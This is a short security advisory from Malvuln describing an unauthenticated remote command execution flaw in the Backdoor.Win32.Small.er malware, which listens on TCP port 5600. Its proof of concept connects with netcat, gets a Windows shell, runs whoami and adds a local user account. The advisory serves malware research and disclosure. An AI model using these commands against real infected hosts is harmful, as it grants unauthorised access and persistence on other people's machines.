Backdoor.Win32.Small.er / Unauthenticated Remote Command Execution

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/9f11868c3beaa8e2c1f5c193f5888b85.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Small.er
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5600. Third-party attackers
who can reach infected systems can run any OS commands.
Type: PE32
MD5: 9f11868c3beaa8e2c1f5c193f5888b85
Vuln ID: MVID-2022-0480
Disclosure: 02/05/2022

Exploit/PoC:
Note: hit enter twice for each command.

nc64.exe x.x.x.x 5600

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>

C:\dump>
cd \Windows
C:\dump>cd \Windows

C:\Windows>
C:\Windows>whoami
whoami

desktop-2c3jqho\victim

C:\Windows>

C:\Windows>
net user hyp3rlinx 666 /add
C:\Windows>net user hyp3rlinx 666 /add

The command completed successfully.


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